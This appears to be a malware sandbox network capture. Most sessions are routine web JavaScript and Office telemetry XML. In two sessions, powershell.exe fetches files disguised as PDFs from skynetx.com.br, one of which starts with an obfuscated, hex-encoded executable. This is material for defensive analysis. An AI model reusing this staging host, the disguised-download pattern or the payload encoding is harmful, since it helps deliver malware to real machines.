t[ps]=!1,t.concat()[0]!==t}),hs=fs("concat"),is=!m\|\|!
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 7d 7d 29 2c 78 6c 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 4f 6c 28 74 2c 65 29 7b 76 61 72 20 6e 2c 72 3d 76 6f 69 64 20 30 21 3d 3d 4f 63 26 26 45 75 28 74 29 7c 7c 74 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 21 72 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 28 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 20 44 6c 28 74 2c 65 29 3b 76 61 72 20 6e 3d 79 6c 28 6e 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 74 29 29 2e 63 61 6c 6c 28 6e 2c 38 2c 2d 31 29 3b 72 65 74 75 72 6e 22 4d 61 70 22 3d 3d 3d 28 6e 3d 22 4f 62 6a 65 63 74 Data Ascii: method:"POST"}}),xl={};function Ol(t,e){var n,r=void 0!==Oc&&Eu(t)\|\|t["@@iterator"];if(!r){if(Array.isArray(t)\|\|(r=function(t,e){if(t){if("string"==typeof t)return Dl(t,e);var n=yl(n=Object.prototype.toString.call(t)).call(n,8,-1);return"Map"===(n="Object
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 61 67 6b 49 41 56 42 66 69 41 43 64 33 45 69 42 54 59 43 41 41 77 42 43 79 41 41 49 41 4d 32 41 67 77 67 41 79 41 41 4e 67 49 49 43 79 41 42 51 51 68 71 49 51 41 67 41 53 41 47 51 51 4e 79 4e 67 49 45 49 41 45 67 42 6d 6f 69 42 79 41 43 51 51 4e 30 49 67 49 67 42 6d 73 69 41 30 45 42 63 6a 59 43 42 43 41 42 49 41 4a 71 49 41 4d 32 41 67 41 67 43 41 52 41 49 41 68 42 41 33 59 69 42 45 45 44 64 45 48 51 4a 47 6f 68 41 55 47 38 4a 43 67 43 41 43 45 43 41 6e 38 67 42 55 45 42 49 41 52 30 49 67 52 78 52 51 52 41 51 61 67 6b 49 41 51 67 42 58 49 32 41 67 41 67 41 51 77 42 43 79 41 42 4b 41 49 49 43 79 45 45 49 41 45 67 41 6a 59 43 43 43 41 45 49 41 49 32 41 67 77 67 41 69 41 42 4e 67 49 4d 49 41 49 67 42 44 59 43 43 41 74 42 76 43 51 67 42 7a 59 43 41 45 47 77 Data Ascii: agkIAVBfiACd3EiBTYCAAwBCyAAIAM2AgwgAyAANgIICyABQQhqIQAgASAGQQNyNgIEIAEgBmoiByACQQN0IgIgBmsiA0EBcjYCBCABIAJqIAM2AgAgCARAIAhBA3YiBEEDdEHQJGohAUG8JCgCACECAn8gBUEBIAR0IgRxRQRAQagkIAQgBXI2AgAgAQwBCyABKAIICyEEIAEgAjYCCCAEIAI2AgwgAiABNgIMIAIgBDYCCAtBvCQgBzYCAEGw
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 75 73 3d 3d 3d 6b 2e 52 55 4e 4e 49 4e 47 26 26 28 65 2e 73 74 61 74 75 73 3d 6b 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 2c 65 2e 77 61 69 74 69 6e 67 46 6f 72 45 78 63 75 74 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 28 29 7d 29 29 7d 29 29 3a 74 68 69 73 2e 73 74 61 74 75 73 3d 6b 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 7d 72 65 74 75 72 6e 20 44 61 28 74 2c 5b 7b 6b 65 79 3a 22 77 61 69 74 55 6e 74 69 6c 49 6e 69 74 45 6e 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 57 63 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 73 77 69 74 63 68 28 6e 2e 73 74 61 74 75 73 29 7b 63 61 73 65 20 6b 2e 52 55 4e 4e 49 4e 47 3a 6e 2e 77 61 69 74 69 6e Data Ascii: us===k.RUNNING&&(e.status=k.NOT_SUPPORT,e.waitingForExcute.forEach(function(t){return t()}))})):this.status=k.NOT_SUPPORT}return Da(t,[{key:"waitUntilInitEnd",value:function(){var n=this;return new Wc(function(t,e){switch(n.status){case k.RUNNING:n.waitin
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 69 6f 6e 28 74 2c 65 29 7b 47 68 28 74 68 69 73 2c 7b 74 79 70 65 3a 72 2c 74 61 72 67 65 74 3a 74 2c 73 74 61 74 65 3a 69 28 74 29 2c 6b 69 6e 64 3a 65 2c 6c 61 73 74 3a 76 6f 69 64 20 30 7d 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 6f 28 74 68 69 73 29 2c 65 3d 74 2e 6b 69 6e 64 2c 6e 3d 74 2e 6c 61 73 74 3b 6e 26 26 6e 2e 72 65 6d 6f 76 65 64 3b 29 6e 3d 6e 2e 70 72 65 76 69 6f 75 73 3b 72 65 74 75 72 6e 20 74 2e 74 61 72 67 65 74 26 26 28 74 2e 6c 61 73 74 3d 6e 3d 6e 3f 6e 2e 6e 65 78 74 3a 74 2e 73 74 61 74 65 2e 66 69 72 73 74 29 3f 22 6b 65 79 73 22 3d 3d 65 3f 7b 76 61 6c 75 65 3a 6e 2e 6b 65 79 2c 64 6f 6e 65 3a 21 31 7d 3a 22 76 61 6c 75 65 73 22 3d 3d 65 3f 7b 76 61 6c 75 65 3a 6e 2e 76 61 6c 75 65 2c 64 6f 6e 65 Data Ascii: ion(t,e){Gh(this,{type:r,target:t,state:i(t),kind:e,last:void 0})},function(){for(var t=o(this),e=t.kind,n=t.last;n&&n.removed;)n=n.previous;return t.target&&(t.last=n=n?n.next:t.state.first)?"keys"==e?{value:n.key,done:!1}:"values"==e?{value:n.value,done
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 54 29 7d 29 3b 69 20 69 6e 20 63 70 3f 65 28 63 70 5b 69 5d 28 29 29 3a 6e 28 6b 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 29 7d 29 7d 7d 5d 29 2c 74 7d 28 29 2c 63 70 3d 7b 64 31 35 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 77 65 62 22 7d 2c 75 31 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 2e 41 43 4b 7d 2c 76 32 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 2e 56 45 52 53 49 4f 4e 7d 2c 76 31 33 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 54 2e 64 76 4c 61 73 74 44 65 63 72 79 70 74 45 72 72 43 6f 64 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 54 2e 64 76 4c 61 73 74 44 65 63 72 79 70 74 45 72 72 43 6f 64 65 3f 54 2e 64 76 4c 61 73 74 44 65 63 72 79 70 74 45 72 72 43 Data Ascii: T)});i in cp?e(cp[i]()):n(k.NOT_SUPPORT)})}}]),t}(),cp={d15:function(){return"web"},u1:function(){return T.ACK},v2:function(){return T.VERSION},v13:function(){var t;return T.dvLastDecryptErrCode&&"number"==typeof T.dvLastDecryptErrCode?T.dvLastDecryptErrC
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 72 26 26 22 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 22 21 3d 3d 72 7c 7c 28 28 30 3c 3d 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 6c 69 6e 75 78 22 29 7c 7c 30 3c 3d 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 61 6e 64 72 6f 69 64 22 29 7c 7c 30 3c 3d 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 70 69 6b 65 22 29 29 26 26 22 4c 69 6e 75 78 22 21 3d 3d 72 26 26 22 41 6e 64 72 6f 69 64 22 21 3d 3d 72 7c 7c 28 28 30 3c 3d 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 6d 61 63 22 29 7c 7c 30 3c 3d 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 69 70 61 64 22 29 7c 7c 30 3c 3d 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 69 70 6f 64 22 29 7c 7c 30 3c 3d 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 69 70 68 6f 6e 65 22 29 29 26 26 22 4d 61 63 22 21 3d 3d 72 26 26 22 69 4f 53 22 21 3d 3d 72 7c 7c 21 28 Data Ascii: r&&"Windows Phone"!==r\|\|((0<=O(n).call(n,"linux")\|\|0<=O(n).call(n,"android")\|\|0<=O(n).call(n,"pike"))&&"Linux"!==r&&"Android"!==r\|\|((0<=O(n).call(n,"mac")\|\|0<=O(n).call(n,"ipad")\|\|0<=O(n).call(n,"ipod")\|\|0<=O(n).call(n,"iphone"))&&"Mac"!==r&&"iOS"!==r\|\|!(
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 6c 65 63 74 69 6f 6e 2e 61 64 64 49 6e 66 6f 28 22 76 31 31 22 2c 31 32 29 2c 76 6f 69 64 20 65 28 54 2e 74 65 6d 70 44 56 43 4a 29 29 3a 76 6f 69 64 20 78 6c 2e 77 61 73 6d 2e 77 61 69 74 55 6e 74 69 6c 49 6e 69 74 45 6e 64 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 49 66 28 29 3b 69 66 28 74 3d 3d 3d 6b 2e 45 4d 50 54 59 29 72 65 74 75 72 6e 20 6e 2e 66 61 73 74 43 62 53 74 61 74 75 73 3d 4e 70 2e 52 45 54 55 52 4e 45 44 5f 45 52 52 2c 6e 2e 64 61 74 61 43 6f 6c 6c 65 63 74 69 6f 6e 2e 61 64 64 49 6e 66 6f 28 22 76 31 31 22 2c 31 34 29 2c 76 6f 69 64 20 65 28 22 22 2c 6b 2e 45 58 43 45 50 54 49 4f 4e 29 3b 74 72 79 7b 54 2e 74 65 6d 70 44 56 43 4a 3d 78 6c 2e 77 61 73 6d 2e 67 65 6e 65 72 61 74 65 43 6a 42 79 57 61 73 6d Data Ascii: lection.addInfo("v11",12),void e(T.tempDVCJ)):void xl.wasm.waitUntilInitEnd().then(function(){var t=If();if(t===k.EMPTY)return n.fastCbStatus=Np.RETURNED_ERR,n.dataCollection.addInfo("v11",14),void e("",k.EXCEPTION);try{T.tempDVCJ=xl.wasm.generateCjByWasm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49787	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:19 UTC	156	OUT	GET /license/2/1method.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:19 UTC	209	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:17 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:29:47 GMT Accept-Ranges: bytes Content-Length: 9 Connection: close Content-Type: application/pdf
2024-11-02 13:00:19 UTC	9	IN	Data Raw: 47 65 74 4d 65 74 68 6f 64 Data Ascii: GetMethod

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:20 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 01 Nov 2024 06:15:12 GMT ETag: "0x8DCFA3C8B31D3C9" x-ms-request-id: 9bc4dc4d-a01e-0084-152e-2c9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130020Z-16547b76f7fr28cchC1DFWnuws00000000s000000000a9gw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 13:00:20 UTC	15869	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 Data Ascii: <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L>
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 Data Ascii: </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns="">
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 Data Ascii: N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_C
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 Data Ascii: eateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPer
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 Data Ascii: > </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="2
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c Data Ascii: liseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 Data Ascii: "I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedC
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 Data Ascii: <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 Data Ascii: <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49795	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:20 UTC	153	OUT	GET /license/2/1msg.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:21 UTC	214	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:18 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:29:53 GMT Accept-Ranges: bytes Content-Length: 268290 Connection: close Content-Type: application/pdf
2024-11-02 13:00:21 UTC	7978	IN	Data Raw: ff fe 34 00 44 00 35 00 40 00 39 00 25 00 25 00 25 00 25 00 33 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 34 00 25 00 25 00 25 00 25 00 25 00 25 00 46 00 46 00 46 00 46 00 25 00 25 00 25 00 25 00 42 00 38 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 34 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 38 00 25 00 25 00 25 00 25 00 25 00 25 Data Ascii: 4D5@9%%%%3%%%%%%%4%%%%%%FFFF%%%%B8%%%%%%%%%%%%%%4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%8%%%%%%
